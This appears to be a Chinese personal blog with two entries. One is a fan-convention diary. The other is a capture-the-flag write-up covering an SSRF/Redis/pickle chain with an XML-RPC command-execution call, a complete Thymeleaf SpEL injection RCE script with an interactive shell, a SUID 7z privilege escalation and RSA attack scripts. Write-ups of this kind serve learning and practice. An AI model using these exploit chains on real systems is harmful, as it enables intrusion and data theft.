MetaMiku

20260502 大连 THO 随记

Sat, 02 May 2026 00:00:00 GMT

连 t 是我第二次参加的 THO，上一次是去年十一的武 t 和琪露诺 Only~~（⑨O 真是梦一场啊）~~

记一篇流水账，供未来回忆

入场#

上午可能赶车去早了，地铁快到西安路了还看不见几位 coser 老师，直到进了酒店大门看到宣传海报才确定没走错（笑）

检了票，一进场就是各种买，上次在武 t 对各种帆布包爱不释手——尤其是“拉鸡袋”（拉尔瓦、九侘歌）——因此这次也打算多多买一些自用。第一遍初逛就被塞了一个三妖精的薄布袋。

中间看到「冰精的冰屋」，迫不及待展示了当时的签名，（还被质疑了为什么有两张签名哈哈，一个是 WmStella 的一个是 MetaMiku 的啦），听说办 ⑨O 亏了两万块，补回来还会继续办的，期待期待。不过在 ⑨O 该买的东西基本都买了，这次实在也没买什么支持一下。

在「诹访幻想记行」买了两个帆布包，其中一个准备给 WmStella 的，真的超级好看吧，虽然当时竟然不太能看不出来画的具体是谁，是早苗啦（Galaxy-Fall 说的）。

在「GhostFairy」社买了手工八卦炉，真的超亮！付完款就把演示的八卦炉塞包里了，差点给人电池顺走，实在不好意思，谢罪谢罪）），此外，看到了之前 miko 签名的石墩子已经成功转生成了石墩子 fumo。

给 WmStella 买了恋恋御守，后面听说很快就卖断货了，我眼光还是很棒的）

STG 接力#

第一次看 STG 接力，上次好像没看着。虽然但是，实在难绷风神录一面被秋静叶干掉了大连tho一面风神录炸机教学（悲），三面神曲，五六面操作帅，ex 面的操作更是行云流水啊，太有实力了。

此外插一嘴，主催「千坂悠紀」的女仆装文文真的太好看太可爱了，此前没有认真了解过文文，但估计从此会喜欢上的。真的超级好看！

中场休息#

在一楼沙发吃了点面包，刷了会儿手机，然后就上楼占位置等 Mini Live，顺便赶在「幽闭星光」的《华鸟风月》售罄前买下来了，160r，有点小贵，但有好多曲子诶。有点遗憾的是，结束后才发现，我可能更想要《色は匂へど散りぬるを》怎么办……没关系等下次 tho 再买）

可惜再逛兔团的没找到也雀食堂第一个专辑，只看到四个芙兰的一张，而且很快就没了，唉唉

Mini Live#

主唱老师很厉害很有活力，但是好像大音响不是很给力啊，对我这种很少听同人曲的要很认真辨别歌词 T_T

听千坂悠紀说好像原本应该有DJ环节（？），不过因为硬件设备问题，没有放成。

Mini Live 后有抽奖，大概271 人抽了，1 件限量 T 恤，5 个限量包，35 个纪念奖，这么高的中奖率我没中！帕露帕露啊

则赛#

第一次看则赛，真的很精彩哦，双方交战真的很激烈很棒，观赏性极强，看的我也想试试玩则了。

晚饭#

白天场结束就去西安路吃饭了，不过该自助店服务稍有不周，不在话下。

整理#

购买的各种小玩意，文文好看

入场袋和三妖精薄布袋

超好看的挂画，已经美美挂好

签绘墙

感谢主催「千坂悠紀」和所有 STAFF，也感谢一同参与的大家，下次见！

20260314 系统安全赛

Sun, 22 Mar 2026 00:00:00 GMT

auth#

flask 2.2.3 查到一个 CVE-2023-30861，不过我们这次没用上

注意到疑似 AI 写的前端似乎有意突出 role=user，结合题目 auth 推测这可能是解题某步的关键

很快可以发现头像上传处可以 SSRF，借助 file:// 可以 LFI

翻 /proc 发现除了 flask redis 进程外还有一个 python 负责 RPC

获取到 Flask 源码、Redis dump.rdb、内部 root XML-RPC 服务源码等，黑盒变半个白盒

审计 flask 源码发现

1
if session.get('role') != 'admin':
2
    return '权限不足，需要管理员权限'

只看 session，因此考虑伪造 secret_key

从 Redis dump 提取 flask 的 secret_key，用以伪造管理员的 session

1
{'logged_in': True, 'role': 'admin', 'username': 'MM'}

两个路由可用

1
@app.route('/admin/online-users')
2
@app.route('/admin/users')

发现 /admin/online-users 进行了受限反序列化，但还是有洞，尝试控制 r.keys('online_user:*') 的数据即可

对 redis 不熟，AI 自动化测一下：

Redis 可被 SSRF 的 CRLF 注入利用
直接访问：
1
http://127.0.0.1:6379/
返回过：
1
-ERR wrong number of arguments for 'get' command
这说明：

SSRF 确实能打到 Redis。

urllib 发出的 HTTP 请求被 Redis 当成 inline protocol 解析了。

先写简单值：
1
HSET user:MM role admin
结果：

MM.role 成功被改成 admin

再写带空格值：
1
HSET user:MM name "Q TEST"
结果：

MM.name 成功变成 Q TEST

再写 \xHH 转义：
1
HSET user:MM name "\x48\x45\x58\x20\x4f\x4b"
结果：

MM.name 成功变成 HEX OK

这一步证明：

Redis inline quoted argument 可稳定承载经十六进制转义后的二进制 payload

因此通过 SSRF + redis + pickle 可以执行受限命令，例如通过

1
getattr(
2
    getattr(
3
        getattr(OnlineUser, "__init__"),
4
        "__globals__"
5
    ).get("requests"),
6
    "post"
7
)("http://127.0.0.1:54321/RPC2", xml_body)

可以向第三个服务 XML-RPC 发送请求

审计 XML-RPC 源码发现 token 是固定的硬编码

1
self.auth_token = "mcp_secure_token_b2rglxd"

并且有命令执行功能

1
result = subprocess.run(
2
    command,
3
    shell=True,
4
    capture_output=True,
5
    text=True,
6
    timeout=10
7
)

不过难以回显，因此考虑直接以高权限复制一份 flag 再去用最初的 LFI 获取

1
execute_command("cp /flag /tmp/pwnflag; chmod 644 /tmp/pwnflag")

再用 SSRF LFI 获取 flag 副本

thymeleaf#

三层

PRNG 逆推 admin 口令
SpEL 模板注入 RCE
SUID 提权读 /flag

PRNG 逆推 admin 口令#

每 POST /register 一次，PRNG 就往后走 1 步。

冷启动后流程是：

第 10 步：admin
第 11 到 15 步：内置 user1..user5
第 16 步：第一次外部注册

最终初始注册与 admin 相差 6 步，小小 crypto，AI秒了

SpEL 模板注入 RCE#

最难的一段，基本靠抽奖，首先审计在 HomeController.java

1
@GetMapping({"/admin"})
2
public String adminPage(HttpSession session,
3
                        @RequestParam(required = false, defaultValue = "main") String section,
4
                        Model model) {
5
    String username = (String) session.getAttribute("username");
6
    if (!"admin".equals(username)) {
7
        return "redirect:/";
8
    }
9
    String templatePath = "admin :: " + section;
10
    return templatePath;
11
}

这里直接把用户可控的 section 拼到了返回视图名里。

也就是说：

1
/admin?section=main

最终会被 Thymeleaf 当成：

1
admin :: main

有很多注入会被拦，最后引导拷打 AI 搓出的 RCE 脚本如下：

1
#!/usr/bin/env python3
2
"""
3
Minimal Thymeleaf RCE helper.
4

5
Flow:
6
1. Login as admin.
7
2. Inject a preprocessed Thymeleaf fragment expression into /admin?section=...
8
3. Use a second-stage SpEL parser pivot to reflectively call Runtime.exec().
9
4. Base64-encode stdout on the target and decode it locally.
10

11
Usage:
12
    python thymeleaf_exec.py exec
13
    python thymeleaf_exec.py exec "id"
14
"""
15

16
from __future__ import annotations
17

18
import argparse
19
import base64
20
import sys
21
import urllib.error
22
import urllib.parse
23
import urllib.request
24
from http.cookiejar import CookieJar
25

26

27
DEFAULT_BASE_URL = "http://12997a3f-04dd-4044-94d7-f769d45cc076.36.dart.ccsssc.com"
28
DEFAULT_USERNAME = "admin"
29
DEFAULT_PASSWORD = "0041013152290433"
30
USER_AGENT = "Mozilla/5.0 Codex CTF Helper" # codex 的小巧思
31

32

33
def spel_string(value: str) -> str:
34
    return "'" + value.replace("'", "''") + "'"
35

36

37
def preprocess_wrapper(expr_body: str) -> str:
38
    escaped = expr_body.replace("\\", "\\\\").replace("'", "\\'")
39
    return f"__'$'+'{{'+'{escaped}'+'}}'__"
40

41

42
def shell_command_to_argv_literal(command: str) -> str:
43
    encoded = base64.b64encode(command.encode()).decode()
44
    shell_argv = f"/bin/sh,-c,echo {encoded}|base64 -d|/bin/sh"
45
    return f"{spel_string(shell_argv)}.split(',')"
46

47

48
def build_exec_expr(command: str) -> str:
49
    inner = (
50
        "{"
51
        "#r=getClass().getClassLoader().loadClass('java.lang.Runtime').getMethod('getRuntime').invoke(null),"
52
        f"#a={shell_command_to_argv_literal(command)},"
53
        "#p=#r.exec(#a),"
54
        "#s=getClass().getClassLoader().loadClass('java.lang.Process').getMethod('getInputStream').invoke(#p),"
55
        "#b=getClass().getClassLoader().loadClass('java.io.InputStream').getMethod('readAllBytes').invoke(#s),"
56
        "#e=getClass().getClassLoader().loadClass('java.util.Base64').getMethod('getEncoder').invoke(null),"
57
        "#e.getClass().getMethod('encodeToString',#b.getClass()).invoke(#e,#b)"
58
        "}[6]"
59
    )
60
    return (
61
        "#response.getWriter().print("
62
        "@webSecurityExpressionHandler.getExpressionParser()"
63
        f".parseExpression({spel_string(inner)}).getValue(@environment)"
64
        ")?:'main'"
65
    )
66

67

68
class ExploitClient:
69
    def __init__(self, base_url: str, timeout: float) -> None:
70
        self.base_url = base_url.rstrip("/")
71
        self.timeout = timeout
72
        self.cookies = CookieJar()
73
        self.opener = urllib.request.build_opener(
74
            urllib.request.HTTPCookieProcessor(self.cookies)
75
        )
76
        self.opener.addheaders = [("User-Agent", USER_AGENT)]
77

78
    def _open(self, request: urllib.request.Request) -> tuple[int, str]:
79
        try:
80
            with self.opener.open(request, timeout=self.timeout) as response:
81
                body = response.read().decode("utf-8", errors="replace")
82
                return response.getcode(), body
83
        except urllib.error.HTTPError as exc:
84
            body = exc.read().decode("utf-8", errors="replace")
85
            return exc.code, body
86

87
    def login(self, username: str, password: str) -> None:
88
        data = urllib.parse.urlencode(
89
            {"username": username, "password": password}
90
        ).encode()
91
        request = urllib.request.Request(
92
            f"{self.base_url}/dologin",
93
            data=data,
94
            headers={"Content-Type": "application/x-www-form-urlencoded"},
95
        )
96
        self._open(request)
97

98
        status, body = self.request_section("main")
99
        if status != 200 or "bi-speedometer2" not in body:
100
            raise RuntimeError("admin login failed or session is not authorized")
101

102
    def request_section(self, section: str) -> tuple[int, str]:
103
        url = f"{self.base_url}/admin?section={urllib.parse.quote(section, safe='')}"
104
        return self._open(urllib.request.Request(url))
105

106
    def execute_command(self, command: str, debug: bool = False) -> str:
107
        status, body = self.request_section(preprocess_wrapper(build_exec_expr(command)))
108
        if status != 200:
109
            message = f"server returned HTTP {status}"
110
            if debug and body:
111
                message += f"\n{body}"
112
            raise RuntimeError(message)
113

114
        output = extract_prefix_before_fragment(body)
115
        if output is None:
116
            if debug and body:
117
                raise RuntimeError(f"output not found\n{body}")
118
            raise RuntimeError("output not found")
119
        return base64.b64decode(output).decode("utf-8", errors="replace")
120

121

122
def extract_prefix_before_fragment(body: str) -> str | None:
123
    marker = "<div>"
124
    idx = body.find(marker)
125
    if idx == -1:
126
        return None
127
    prefix = body[:idx]
128
    return prefix if prefix else None
129

130

131
def build_parser() -> argparse.ArgumentParser:
132
    parser = argparse.ArgumentParser(description="Minimal Thymeleaf exec shell")
133
    parser.add_argument("--base-url", default=DEFAULT_BASE_URL)
134
    parser.add_argument("--username", default=DEFAULT_USERNAME)
135
    parser.add_argument("--password", default=DEFAULT_PASSWORD)
136
    parser.add_argument("--timeout", type=float, default=10.0)
137
    parser.add_argument("--debug", action="store_true")
138
    parser.add_argument("mode", choices=["exec"])
139
    parser.add_argument("command", nargs="?", help="optional command to run first")
140
    return parser
141

142

143
def repl(client: ExploitClient, initial_command: str | None, debug: bool) -> int:
144
    if initial_command:
145
        try:
146
            output = client.execute_command(initial_command, debug=debug)
147
            if output:
148
                sys.stdout.write(output)
149
                if not output.endswith("\n"):
150
                    sys.stdout.write("\n")
151
        except Exception as exc:
152
            print(f"[!] {exc}", file=sys.stderr)
153

154
    while True:
155
        try:
156
            command = input("rce$ ").strip()
157
        except EOFError:
158
            print()
159
            return 0
160
        except KeyboardInterrupt:
161
            print()
162
            return 0
163

164
        if not command:
165
            continue
166
        if command in {"exit", "quit"}:
167
            return 0
168

169
        try:
170
            output = client.execute_command(command, debug=debug)
171
        except Exception as exc:
172
            print(f"[!] {exc}", file=sys.stderr)
173
            continue
174

175
        if output:
176
            sys.stdout.write(output)
177
            if not output.endswith("\n"):
178
                sys.stdout.write("\n")
179

180

181
def main() -> int:
182
    args = build_parser().parse_args()
183
    client = ExploitClient(args.base_url, args.timeout)
184

185
    try:
186
        client.login(args.username, args.password)
187
    except Exception as exc:
188
        print(f"[!] Login failed: {exc}", file=sys.stderr)
189
        return 1
190

191
    return repl(client, args.command, args.debug)
192

193

194
if __name__ == "__main__":
195
    raise SystemExit(main())

展开收起

示例执行:

Terminal window

1
$ python exp.py exec "whoami"
2
ctf

SUID 提权读 /flag#

这是 AI 没想到的一点

首先 ls -la / 可以看到根目录下权限 400 长度 43 的 /flag，java 进程本身是 ctf 用户，正常读是无法读的，AI 在想找泄露点，经验上 CTF 里可以优先试试提权。

枚举 SUID

Terminal window

1
find / -perm -u=s -type f 2>/dev/null

找到

Terminal window

1
/bin/mount
2
/bin/su
3
/bin/umount
4
/usr/bin/chfn
5
/usr/bin/chsh
6
/usr/bin/gpasswd
7
/usr/bin/newgrp
8
/usr/bin/passwd
9
/usr/bin/7z

1a74185cda2141220d681ffb8db730e8

用这个线索引导 AI 即可立即获取 flag

Terminal window

1
/usr/bin/7z a -ttar -an -so /flag 2>/dev/null | /usr/bin/7z e -ttar -si -so 2>/dev/null

RSA#

level 1#

根据提示搓脚本

1
import glob
2
import math
3
import re
4
from math import isqrt
5

6
from Crypto.Cipher import AES, PKCS1_OAEP
7
from Crypto.PublicKey import RSA
8
from Crypto.Util.number import bytes_to_long, inverse
9

10

11
def is_square(value):
12
    if value < 0:
13
        return False
14
    root = isqrt(value)
15
    return root * root == value
16

17

18
def continued_fraction(numerator, denominator):
19
    while denominator:
20
        quotient = numerator // denominator
21
        yield quotient
22
        numerator, denominator = denominator, numerator - quotient * denominator
23

24

25
def convergents(terms):
26
    prev_num, prev_den = 1, 0
27
    curr_num, curr_den = terms[0], 1
28
    yield curr_num, curr_den
29
    for term in terms[1:]:
30
        prev_num, curr_num = curr_num, term * curr_num + prev_num
31
        prev_den, curr_den = curr_den, term * curr_den + prev_den
32
        yield curr_num, curr_den
33

34

35
def wiener_attack(n_value, e_value):
36
    terms = list(continued_fraction(e_value, n_value))
37
    for k_value, d_value in convergents(terms):
38
        if k_value == 0:
39
            continue
40
        if (e_value * d_value - 1) % k_value != 0:
41
            continue
42
        phi_value = (e_value * d_value - 1) // k_value
43
        sum_pq = n_value - phi_value + 1
44
        discriminant = sum_pq * sum_pq - 4 * n_value
45
        if not is_square(discriminant):
46
            continue
47
        delta = isqrt(discriminant)
48
        p_value = (sum_pq + delta) // 2
49
        q_value = (sum_pq - delta) // 2
50
        if p_value * q_value == n_value:
51
            return d_value, p_value, q_value
52
    return None
53

54

55
def fermat_factor(n_value):
56
    a_value = isqrt(n_value)
57
    if a_value * a_value < n_value:
58
        a_value += 1
59
    b_squared = a_value * a_value - n_value
60
    if not is_square(b_squared):
61
        return None
62
    b_value = isqrt(b_squared)
63
    p_value = a_value - b_value
64
    q_value = a_value + b_value
65
    if p_value * q_value == n_value:
66
        return p_value, q_value
67
    return None
68

69

70
def load_public_keys():
71
    return {
72
        path: RSA.import_key(open(path, "rb").read())
73
        for path in glob.glob("key-*.pem")
74
    }
75

76

77
def recover_private_keys(public_keys):
78
    private_keys = {}
79

80
    for left_name, right_name in [("key-1.pem", "key-2.pem"), ("key-4.pem", "key-15.pem")]:
81
        left_key = public_keys[left_name]
82
        right_key = public_keys[right_name]
83
        shared_prime = math.gcd(left_key.n, right_key.n)
84
        if shared_prime == 1:
85
            continue
86
        for name, public_key in ((left_name, left_key), (right_name, right_key)):
87
            other_prime = public_key.n // shared_prime
88
            phi_value = (shared_prime - 1) * (other_prime - 1)
89
            d_value = inverse(public_key.e, phi_value)
90
            private_keys[name] = RSA.construct(
91
                (public_key.n, public_key.e, d_value, int(shared_prime), int(other_prime))
92
            )
93

94
    for name in ["key-3.pem", "key-7.pem", "key-13.pem", "key-18.pem"]:
95
        public_key = public_keys[name]
96
        factors = fermat_factor(public_key.n)
97
        if factors is None:
98
            continue
99
        p_value, q_value = factors
100
        phi_value = (p_value - 1) * (q_value - 1)
101
        d_value = inverse(public_key.e, phi_value)
102
        private_keys[name] = RSA.construct(
103
            (public_key.n, public_key.e, d_value, int(p_value), int(q_value))
104
        )
105

106
    for name in ["key-6.pem", "key-12.pem", "key-17.pem"]:
107
        public_key = public_keys[name]
108
        recovered = wiener_attack(public_key.n, public_key.e)
109
        if recovered is None:
110
            continue
111
        d_value, p_value, q_value = recovered
112
        private_keys[name] = RSA.construct(
113
            (public_key.n, public_key.e, int(d_value), int(p_value), int(q_value))
114
        )
115

116
    return private_keys
117

118

119
def decrypt_ciphertext(ciphertext, private_key):
120
    key_size = (private_key.n.bit_length() + 7) // 8
121
    if len(ciphertext) <= key_size + 28:
122
        return None
123

124
    rsa_block = ciphertext[:key_size]
125
    nonce = ciphertext[key_size:key_size + 12]
126
    body = ciphertext[key_size + 12:-16]
127
    tag = ciphertext[-16:]
128

129
    if private_key.n.bit_length() >= 2048:
130
        symmetric_key = PKCS1_OAEP.new(private_key).decrypt(rsa_block)
131
    else:
132
        key_int = pow(bytes_to_long(rsa_block), private_key.d, private_key.n)
133
        symmetric_key = key_int.to_bytes(16, "big")
134

135
    cipher = AES.new(symmetric_key, AES.MODE_GCM, nonce=nonce)
136
    return cipher.decrypt_and_verify(body, tag).decode("utf-8")
137

138

139
def recover_plaintexts(private_keys):
140
    recovered = []
141
    for ciphertext_path in sorted(glob.glob("ciphertext-*.bin")):
142
        ciphertext = open(ciphertext_path, "rb").read()
143
        for key_path, private_key in private_keys.items():
144
            try:
145
                plaintext = decrypt_ciphertext(ciphertext, private_key)
146
            except Exception:
147
                continue
148
            recovered.append((ciphertext_path, key_path, plaintext))
149
            break
150
    return recovered
151

152

153
def crt_recover(shares):
154
    modulus_product = 1
155
    secret_value = 0
156
    for modulus, residue in shares:
157
        adjustment = ((residue - secret_value) % modulus) * inverse(modulus_product % modulus, modulus)
158
        secret_value += modulus_product * (adjustment % modulus)
159
        modulus_product *= modulus
160
    return secret_value
161

162

163
def recover_messages(plaintexts):
164
    line_groups = [plaintext.splitlines() for _, _, plaintext in plaintexts]
165
    messages = []
166

167
    for line_index in range(1, 10):
168
        shares = []
169
        bit_length = None
170
        for lines in line_groups:
171
            modulus_hex, residue_hex, bit_length_hex = lines[line_index].split(":")
172
            shares.append((int(modulus_hex, 16), int(residue_hex, 16)))
173
            bit_length = int(bit_length_hex, 16)
174

175
        secret_value = crt_recover(shares)
176
        byte_length = (bit_length + 7) // 8
177
        message = secret_value.to_bytes(byte_length, "big").decode("utf-8")
178
        messages.append(message)
179

180
    return messages
181

182

183
def main():
184
    public_keys = load_public_keys()
185
    private_keys = recover_private_keys(public_keys)
186
    plaintexts = recover_plaintexts(private_keys)
187

188
    print("Recovered plaintexts:")
189
    for ciphertext_path, key_path, _ in plaintexts:
190
        print(f"  {ciphertext_path} <- {key_path}")
191

192
    messages = recover_messages(plaintexts)
193
    print("\nRecovered messages:")
194
    for index, message in enumerate(messages, start=2):
195
        print(f"message{index}: {message}")
196

197
    password_match = re.search(r"next pass is\s+([^。.!?\s]+)", messages[5])
198
    if password_match:
199
        print(f"\nlevel2.zip password: {password_match.group(1)}")
200

201

202
if __name__ == "__main__":
203
    main()
204

205

206
# Recovered plaintexts:
207
#   ciphertext-1.bin <- key-3.pem
208
#   ciphertext-2.bin <- key-6.pem
209
#   ciphertext-3.bin <- key-4.pem
210
#   ciphertext-4.bin <- key-7.pem
211
#   ciphertext-5.bin <- key-17.pem
212
#   ciphertext-8.bin <- key-1.pem
213
#   ciphertext-9.bin <- key-18.pem
214

215
# Recovered messages:
216
# message2: Another success! One more cipher bites the dust!
217
# message3: You're nearly there! Keep going! 3!
218
# message4: You're nearly there! Keep going! 4!
219
# message5: You're nearly there! Keep going! 5!
220
# message6: You're nearly there! Keep going! 6!
221
# message7: Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。
222
# message8: You're nearly there! Keep going! 8!
223
# message9: You're nearly there! Keep going! 9!
224
# message10: You're nearly there! Keep going! 10!
225

226
# level2.zip password: 9Zr4M1ThwVCHe4nHnmOcilJ8

展开收起

level 2#

首先可以直接爆破 [−bounds,+bounds]=[−100,+100][-bounds, +bounds] = [-100, +100][−bounds,+bounds]=[−100,+100] 还原 P2 P3 多项式的系数

1
# sage
2

3
from Crypto.Util.number import bytes_to_long
4

5
n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
6
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299
7
c2 = 94664119872856479106437852390497826718494891787231788048637569911820802241271385500237521849783257742020074596801243551199558780516078698265978603364906102405513805258523893161481880920117078266554039648951735640682344760175446065823258414274759467738667667682764189886842676476993302026419523097311062869020
8
c3 = 17452842791128500883484238194649202112170709841838938382334668085116735124742824096780522905501631340623564870573855325492444043679562915249332054460794149403631363005265204604824764244033832504758820981926933304283896441280291037649477532990161765794023799333588888734136298348520144818810380374971149851767
9

10
m1 = int(bytes_to_long(b"Secret message: " + b"A" * 16))
11
poly2_tail = [-36, -94]
12
poly3_tail = [-11, -20, 11]
13

14
print('m1 bits =', m1.bit_length())
15

16
base2 = (poly2_tail[0] * m1 + poly2_tail[1] * (m1 ** 2)) % n
17
base3 = (poly3_tail[0] * m1 + poly3_tail[1] * (m1 ** 2) + poly3_tail[2] * (m1 ** 3)) % n
18

19
poly2_solutions = []
20
for a0 in range(-100, 101):
21
    m2 = (a0 + base2) % n
22
    if power_mod(m2, e, n) == c2:
23
        poly2_solutions.append((a0, m2))
24

25
poly3_solutions = []
26
for b0 in range(-100, 101):
27
    m3 = (b0 + base3) % n
28
    if power_mod(m3, e, n) == c3:
29
        poly3_solutions.append((b0, m3))
30

31
print('poly2 constant candidates:', poly2_solutions)
32
print('poly3 constant candidates:', poly3_solutions)
33

34
if len(poly2_solutions) == 1:
35
    print('poly2_coeffs =', [poly2_solutions[0][0], *poly2_tail])
36

37
if len(poly3_solutions) == 1:
38
    print('poly3_coeffs =', [poly3_solutions[0][0], *poly3_tail])
39

40

41
# poly2 constant candidates: [(-93, 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470784715126722435921158895824665419913269528424690262728739845116112902395244885358750961250230177487431633851514465414044256040642577828582899149891719854950)]
42
# poly3 constant candidates: [(-62, 590399365140190500740178423662367772903589621587965145437106442287659685984583084035886694058638088624923974452002966178281019771676234250192738895337223105057659985735636036756556266252170949070631521235867134358008101532167944494)]
43
# poly2_coeffs = [-93, -36, -94]
44
# poly3_coeffs = [-62, -11, -20, 11]

展开收起

注意到 ddd 只有 180180180 位，用 Boneh-Durfee 打小私钥攻击

1
# AI 速搓
2
debug = False
3
strict = False
4
helpful_only = True
5
dimension_min = 7
6

7
def helpful_vectors(BB, modulus):
8
    nothelpful = 0
9
    for ii in range(BB.dimensions()[0]):
10
        if BB[ii, ii] >= modulus:
11
            nothelpful += 1
12
    print(nothelpful, '/', BB.dimensions()[0], 'vectors are not helpful')
13

14
def matrix_overview(BB, bound):
15
    for ii in range(BB.dimensions()[0]):
16
        line = ('%02d ' % ii)
17
        for jj in range(BB.dimensions()[1]):
18
            line += '0' if BB[ii, jj] == 0 else 'X'
19
            if BB.dimensions()[0] < 60:
20
                line += ' '
21
        if BB[ii, ii] >= bound:
22
            line += '~'
23
        print(line)
24

25
def remove_unhelpful(BB, monomials, bound, current):
26
    if current == -1 or BB.dimensions()[0] <= dimension_min:
27
        return BB
28

29
    for ii in range(current, -1, -1):
30
        if BB[ii, ii] >= bound:
31
            affected_vectors = 0
32
            affected_vector_index = 0
33

34
            for jj in range(ii + 1, BB.dimensions()[0]):
35
                if BB[jj, ii] != 0:
36
                    affected_vectors += 1
37
                    affected_vector_index = jj
38

39
            if affected_vectors == 0:
40
                BB = BB.delete_columns([ii])
41
                BB = BB.delete_rows([ii])
42
                monomials.pop(ii)
43
                return remove_unhelpful(BB, monomials, bound, ii - 1)
44

45
            if affected_vectors == 1:
46
                affected_deeper = True
47
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
48
                    if BB[kk, affected_vector_index] != 0:
49
                        affected_deeper = False
50
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
51
                    BB = BB.delete_columns([affected_vector_index, ii])
52
                    BB = BB.delete_rows([affected_vector_index, ii])
53
                    monomials.pop(affected_vector_index)
54
                    monomials.pop(ii)
55
                    return remove_unhelpful(BB, monomials, bound, ii - 1)
56

57
    return BB
58

59
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
60
    PR = PolynomialRing(ZZ, names=('u', 'x', 'y'))
61
    u, x, y = PR.gens()
62
    Q = PR.quotient(x * y + 1 - u)
63
    polZ = Q(pol).lift()
64

65
    UU = XX * YY + 1
66

67
    gg = []
68
    for kk in range(mm + 1):
69
        for ii in range(mm - kk + 1):
70
            xshift = x**ii * modulus**(mm - kk) * polZ(u, x, y)**kk
71
            gg.append(xshift)
72
    gg.sort()
73

74
    monomials = []
75
    for polynomial in gg:
76
        for monomial in polynomial.monomials():
77
            if monomial not in monomials:
78
                monomials.append(monomial)
79
    monomials.sort()
80

81
    for jj in range(1, tt + 1):
82
        for kk in range(floor(mm / tt) * jj, mm + 1):
83
            yshift = y**jj * polZ(u, x, y)**kk * modulus**(mm - kk)
84
            yshift = Q(yshift).lift()
85
            gg.append(yshift)
86

87
    for jj in range(1, tt + 1):
88
        for kk in range(floor(mm / tt) * jj, mm + 1):
89
            monomials.append(u**kk * y**jj)
90

91
    nn = len(monomials)
92
    BB = Matrix(ZZ, nn)
93
    for ii in range(nn):
94
        BB[ii, 0] = gg[ii](0, 0, 0)
95
        for jj in range(1, ii + 1):
96
            if monomials[jj] in gg[ii].monomials():
97
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)
98

99
    if helpful_only:
100
        BB = remove_unhelpful(BB, monomials, modulus**mm, nn - 1)
101
        nn = BB.dimensions()[0]
102
        if nn == 0:
103
            return 0, 0
104

105
    if debug:
106
        helpful_vectors(BB, modulus**mm)
107
        det = BB.det()
108
        bound = modulus**(mm * nn)
109
        if det >= bound:
110
            print('det(L) is too large')
111
        else:
112
            print('det(L) < e^(m*n)')
113
        matrix_overview(BB, modulus**mm)
114

115
    BB = BB.LLL()
116

117
    found = False
118
    pol1 = None
119
    pol2 = None
120
    rr = None
121

122
    for pol1_idx in range(nn - 1):
123
        for pol2_idx in range(pol1_idx + 1, nn):
124
            PRwz = PolynomialRing(ZZ, names=('w', 'z'))
125
            w, z = PRwz.gens()
126
            pol1 = 0
127
            pol2 = 0
128
            for jj in range(nn):
129
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
130
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)
131
            PRq = PolynomialRing(ZZ, names=('q',))
132
            qvar = PRq.gen()
133
            rr = pol1.resultant(pol2)
134
            if rr.is_zero() or rr.monomials() == [1]:
135
                continue
136
            found = True
137
            break
138
        if found:
139
            break
140

141
    if not found:
142
        return 0, 0
143

144
    rr = rr(qvar, qvar)
145
    soly = rr.roots()
146
    if len(soly) == 0:
147
        return 0, 0
148

149
    soly = soly[0][0]
150
    ss = pol1(qvar, soly)
151
    solx = ss.roots()[0][0]
152
    return solx, soly
153

154
P = PolynomialRing(ZZ, names=('x', 'y'))
155
x, y = P.gens()
156
A = Integer((n + 1) // 2)
157
pol = 1 + x * (A + y)
158

159
delta_bd = RealNumber('0.18')
160
base_X = 2 * floor(n**delta_bd)
161
base_Y = floor(n**RealNumber('0.5'))
162

163
attempts = [
164
    (4, int((1 - 2 * delta_bd) * 4), base_X),
165
    (5, int((1 - 2 * delta_bd) * 5), base_X),
166
    (6, int((1 - 2 * delta_bd) * 6), base_X),
167
    (4, int((1 - 2 * delta_bd) * 4), max(2, base_X // 2)),
168
    (5, int((1 - 2 * delta_bd) * 5), max(2, base_X // 2)),
169
    (6, int((1 - 2 * delta_bd) * 6), max(2, base_X // 2)),
170
    (4, int((1 - 2 * delta_bd) * 4), max(2, base_X // 4)),
171
    (5, int((1 - 2 * delta_bd) * 5), max(2, base_X // 4)),
172
    (6, int((1 - 2 * delta_bd) * 6), max(2, base_X // 4)),
173
]
174

175
solution = None
176
for mm, tt, XX in attempts:
177
    print('trying m =', mm, 't =', tt, 'X bits =', Integer(XX).nbits())
178
    solx, soly = boneh_durfee(pol, e, mm, tt, XX, base_Y)
179
    print('raw roots =', solx, soly)
180
    if solx == 0:
181
        continue
182
    if hasattr(soly, 'denominator') and soly.denominator() != 1:
183
        continue
184
    pq_sum = Integer(-2 * soly)
185
    discr = pq_sum * pq_sum - 4 * n
186
    if discr < 0:
187
        continue
188
    sq = isqrt(discr)
189
    if sq * sq != discr:
190
        continue
191
    p = Integer((pq_sum + sq) // 2)
192
    q = Integer((pq_sum - sq) // 2)
193
    if p * q != n:
194
        continue
195
    solution = (mm, tt, Integer(XX), solx, Integer(soly), p, q, pq_sum)
196
    break
197

198
if solution is None:
199
    raise ValueError('Boneh-Durfee did not produce a valid p+q in the tested parameter range.')
200

201
mm, tt, XX, solx, soly, p, q, pq_sum = solution
202
lam = lcm(p - 1, q - 1)
203
d_recovered = inverse_mod(e, lam)
204

205
print('solution m,t =', (mm, tt))
206
print('x =', solx)
207
print('y =', soly)
208
print('p =', p)
209
print('q =', q)
210
print('recovered d bits =', Integer(d_recovered).nbits())
211
print('p + q =', pq_sum)
212

213
import hashlib
214
next_pass = hashlib.sha256(str(int(pq_sum)).encode()).hexdigest()
215
print('next pass is', next_pass)
216

217

218

219
# trying m = 4 t = 2 X bits = 186
220
